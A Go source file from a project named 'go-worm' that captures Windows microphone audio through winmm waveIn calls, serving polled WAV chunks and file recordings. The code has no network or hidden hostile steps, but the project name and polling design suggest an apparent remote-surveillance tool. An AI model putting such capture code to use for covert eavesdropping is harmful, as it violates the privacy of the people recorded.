go-worm/lib/mic/mic_windows.go

//go:build windows

package mic

import (
	"errors"
	"fmt"
	"runtime"
	"sync"
	"sync/atomic"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"

	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)

const (
	callbackEvent = 0x00050000
	whdrDone      = 0x00000001
	numBuffers    = 3
	bufferMillis  = 200
	idleClose     = 2 * time.Second
	maxDeviceName = 32
	maxWaveInDevs = 64
)

var (
	winmm                     = windows.NewLazySystemDLL("winmm.dll")
	procWaveInGetNumDevs      = winmm.NewProc("waveInGetNumDevs")
	procWaveInGetDevCapsW     = winmm.NewProc("waveInGetDevCapsW")
	procWaveInOpen            = winmm.NewProc("waveInOpen")
	procWaveInClose           = winmm.NewProc("waveInClose")
	procWaveInPrepareHeader   = winmm.NewProc("waveInPrepareHeader")
	procWaveInUnprepareHeader = winmm.NewProc("waveInUnprepareHeader")
	procWaveInAddBuffer       = winmm.NewProc("waveInAddBuffer")
	procWaveInStart           = winmm.NewProc("waveInStart")
	procWaveInReset           = winmm.NewProc("waveInReset")
)

type waveFormatEx struct {
	FormatTag      uint16
	Channels       uint16
	SamplesPerSec  uint32
	AvgBytesPerSec uint32
	BlockAlign     uint16
	BitsPerSample  uint16
	Size           uint16
}

type waveInCaps struct {
	Mid           uint16
	Pid           uint16
	DriverVersion uint32
	Name          [maxDeviceName]uint16
	Formats       uint32
	WChannels     uint16
	Reserved      uint16
}

type waveHdr struct {
	Data          uintptr
	BufferLength  uint32
	BytesRecorded uint32
	User          uintptr
	Flags         uint32
	Loops         uint32
	Next          uintptr
	Reserved      uintptr
}

type captureBuffer struct {
	hdr  waveHdr
	data []byte
}

var (
	mu   sync.Mutex
	sess *captureSession
)

type captureSession struct {
	device   int
	hWave    uintptr
	event    windows.Handle
	stopOnce sync.Once
	tearOnce sync.Once
	doneOnce sync.Once
	stopCh   chan struct{}
	doneCh   chan struct{}
	buffers  []captureBuffer
	chunkPCM []byte
	rec      *fileRecorder
	recName  string
	lastPoll time.Time
	stopping atomic.Bool
}

func List() (out []Device, err error) {
	defer func() {
		if r := recover(); r != nil {
			err = fmt.Errorf("waveIn list: %v", r)
		}
	}()
	n, _, _ := procWaveInGetNumDevs.Call()
	count := int(n)
	if count > maxWaveInDevs {
		count = maxWaveInDevs
	}
	for i := 0; i < count; i++ {
		var caps waveInCaps
		ok, _, _ := procWaveInGetDevCapsW.Call(
			uintptr(i),
			uintptr(unsafe.Pointer(&caps)),
			unsafe.Sizeof(caps),
		)
		if ok != 0 {
			continue
		}
		name := windows.UTF16ToString(caps.Name[:])
		if name == "" {
			name = fmt.Sprintf("Microphone %d", i)
		}
		out = append(out, Device{Index: i, Name: name})
	}
	return out, nil
}

func Chunk(device int) ([]byte, error) {
	mu.Lock()
	if err := ensureSessionLocked(device); err != nil {
		mu.Unlock()
		return nil, err
	}
	sess.lastPoll = time.Now()
	pcm := append([]byte(nil), sess.chunkPCM...)
	sess.chunkPCM = nil
	mu.Unlock()
	if len(pcm) == 0 {
		return nil, ErrNoAudio
	}
	return EncodeWAV(pcm), nil
}

func StartRecord(device int) (string, error) {
	mu.Lock()
	defer mu.Unlock()
	if sess != nil && sess.rec != nil {
		return "", ErrAlreadyRecording
	}
	if err := ensureSessionLocked(device); err != nil {
		return "", err
	}
	name := RecordingFilename(time.Now())
	rec, err := openRecorder(name)
	if err != nil {
		return "", err
	}
	sess.rec = rec
	sess.recName = name
	sess.lastPoll = time.Now()
	return name, nil
}

func StopRecord() (string, int64, error) {
	mu.Lock()
	defer mu.Unlock()
	if sess == nil || sess.rec == nil {
		return "", 0, ErrNotRecording
	}
	name := sess.recName
	size, err := sess.rec.Close()
	sess.rec = nil
	sess.recName = ""
	return name, size, err
}

func Recording() bool {
	mu.Lock()
	defer mu.Unlock()
	return sess != nil && sess.rec != nil
}

func Stop() {
	mu.Lock()
	stopSessionLocked()
	mu.Unlock()
}

func liveSession(device int) bool {
	return sess != nil && sess.device == device && sess.hWave != 0 && !sess.stopping.Load()
}

func ensureSessionLocked(device int) error {
	if liveSession(device) {
		return nil
	}
	stopSessionLocked()
	if liveSession(device) {
		return nil
	}
	if sess != nil {
		stopSessionLocked()
		if liveSession(device) {
			return nil
		}
		if sess != nil {
			return errors.New("mic session busy")
		}
	}
	return startSessionLocked(device)
}

func startSessionLocked(device int) error {
	if err := deviceExists(device); err != nil {
		return err
	}

	event, err := windows.CreateEvent(nil, 0, 0, nil)
	if err != nil {
		return err
	}

	format := waveFormatEx{
		FormatTag:      1,
		Channels:       Channels,
		SamplesPerSec:  SampleRate,
		AvgBytesPerSec: SampleRate * Channels * BytesPerSample,
		BlockAlign:     Channels * BytesPerSample,
		BitsPerSample:  BitsPerSample,
	}

	var hWave uintptr
	bufBytes := SampleRate * BytesPerSample * bufferMillis / 1000
	if bufBytes < 1024 {
		bufBytes = 1024
	}

	ok, _, callErr := procWaveInOpen.Call(
		uintptr(unsafe.Pointer(&hWave)),
		uintptr(device),
		uintptr(unsafe.Pointer(&format)),
		uintptr(event),
		0,
		callbackEvent,
	)
	if ok != 0 {
		windows.CloseHandle(event)
		if callErr != nil && callErr != syscall.Errno(0) {
			return callErr
		}
		return fmt.Errorf("waveInOpen failed")
	}

	s := &captureSession{
		device:   device,
		hWave:    hWave,
		event:    event,
		stopCh:   make(chan struct{}),
		doneCh:   make(chan struct{}),
		buffers:  make([]captureBuffer, numBuffers),
		lastPoll: time.Now(),
	}
	// ponytail: prepare in-place so waveIn keeps pointers into s.buffers, not stack copies.
	for i := range s.buffers {
		s.buffers[i].data = make([]byte, bufBytes)
		if err := prepareBuffer(hWave, &s.buffers[i]); err != nil {
			s.teardown()
			return err
		}
	}

	sess = s
	go runCaptureLoop(s)
	go runIdleWatcher(s)

	ok, _, callErr = procWaveInStart.Call(hWave)
	if ok != 0 {
		stopSessionLocked()
		if callErr != nil && callErr != syscall.Errno(0) {
			return callErr
		}
		return fmt.Errorf("waveInStart failed")
	}
	return nil
}

func deviceExists(device int) error {
	devices, err := List()
	if err != nil {
		return err
	}
	for _, d := range devices {
		if d.Index == device {
			return nil
		}
	}
	return ErrDeviceNotFound
}

func prepareBuffer(hWave uintptr, cb *captureBuffer) error {
	if hWave == 0 || len(cb.data) == 0 {
		return errors.New("empty capture buffer")
	}
	cb.hdr = waveHdr{
		Data:         uintptr(unsafe.Pointer(&cb.data[0])),
		BufferLength: uint32(len(cb.data)),
	}
	ok, _, err := procWaveInPrepareHeader.Call(
		hWave,
		uintptr(unsafe.Pointer(&cb.hdr)),
		unsafe.Sizeof(cb.hdr),
	)
	if ok != 0 {
		if err != nil && err != syscall.Errno(0) {
			return err
		}
		return errors.New("waveInPrepareHeader failed")
	}
	ok, _, err = procWaveInAddBuffer.Call(
		hWave,
		uintptr(unsafe.Pointer(&cb.hdr)),
		unsafe.Sizeof(cb.hdr),
	)
	if ok != 0 {
		_, _, _ = procWaveInUnprepareHeader.Call(hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
		if err != nil && err != syscall.Errno(0) {
			return err
		}
		return errors.New("waveInAddBuffer failed")
	}
	return nil
}

func runIdleWatcher(s *captureSession) {
	defer helpers.RecoverLog("mic-idle")
	ticker := time.NewTicker(500 * time.Millisecond)
	defer ticker.Stop()
	for {
		select {
		case <-s.stopCh:
			return
		case <-ticker.C:
			mu.Lock()
			if sess == s && !s.stopping.Load() && s.rec == nil && time.Since(s.lastPoll) > idleClose {
				stopSessionLocked()
			}
			mu.Unlock()
		}
	}
}

func runCaptureLoop(s *captureSession) {
	defer s.finish()
	defer helpers.RecoverLog("mic-capture")
	defer func() {
		mu.Lock()
		if sess == s {
			sess = nil
		}
		mu.Unlock()
	}()
	defer s.teardown()
	event := s.event
	for {
		select {
		case <-s.stopCh:
			return
		default:
		}
		wait, err := windows.WaitForSingleObject(event, 500)
		select {
		case <-s.stopCh:
			return
		default:
		}
		if err != nil || wait == uint32(windows.WAIT_TIMEOUT) || wait != windows.WAIT_OBJECT_0 {
			continue
		}
		if !drainBuffers(s) {
			s.requestStop()
			return
		}
	}
}

func drainBuffers(s *captureSession) (ok bool) {
	mu.Lock()
	defer mu.Unlock()
	if sess != s || s.stopping.Load() || s.hWave == 0 {
		return true
	}
	ok = true
	for i := range s.buffers {
		cb := &s.buffers[i]
		if cb.hdr.Flags&whdrDone == 0 {
			continue
		}
		n := int(cb.hdr.BytesRecorded)
		if n > len(cb.data) {
			n = len(cb.data)
		}
		if n > 0 {
			pcm := append([]byte(nil), cb.data[:n]...)
			s.chunkPCM = appendChunkPCM(s.chunkPCM, pcm)
			if s.rec != nil {
				if err := s.rec.Write(pcm); err != nil {
					helpers.Log.Printf("mic record: %v", err)
					_, _ = s.rec.Close()
					s.rec = nil
					s.recName = ""
				}
			}
		}
		cb.hdr.Flags &^= whdrDone
		cb.hdr.BytesRecorded = 0
		_, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
		if err := prepareBuffer(s.hWave, cb); err != nil {
			helpers.Log.Printf("mic buffer: %v", err)
			ok = false
		}
	}
	return ok
}

func (s *captureSession) finish() {
	s.doneOnce.Do(func() { close(s.doneCh) })
}

func (s *captureSession) requestStop() {
	if s == nil {
		return
	}
	s.stopOnce.Do(func() {
		s.stopping.Store(true)
		close(s.stopCh)
		if s.hWave != 0 {
			_, _, _ = procWaveInReset.Call(s.hWave)
		}
		if s.event != 0 {
			_ = windows.SetEvent(s.event)
		}
	})
}

func (s *captureSession) teardown() {
	if s == nil {
		return
	}
	s.tearOnce.Do(func() {
		if s.hWave != 0 {
			_, _, _ = procWaveInReset.Call(s.hWave)
			for i := range s.buffers {
				cb := &s.buffers[i]
				_, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
			}
			_, _, _ = procWaveInClose.Call(s.hWave)
			s.hWave = 0
		}
		if s.rec != nil {
			if _, err := s.rec.Close(); err != nil {
				helpers.Log.Printf("mic record close: %v", err)
			}
			s.rec = nil
			s.recName = ""
		}
		if s.event != 0 {
			windows.CloseHandle(s.event)
			s.event = 0
		}
		runtime.KeepAlive(s)
	})
}

// stopSessionLocked drops the session. Caller must hold mu.
// Never wait on capture shutdown while holding mu (deadlock with drainBuffers).
func stopSessionLocked() {
	if sess == nil {
		return
	}
	s := sess
	sess = nil
	mu.Unlock()
	joinCapture(s)
	mu.Lock()
}

func joinCapture(s *captureSession) {
	if s == nil {
		return
	}
	defer helpers.RecoverLog("mic-stop")
	s.requestStop()
	<-s.doneCh
	s.teardown()
}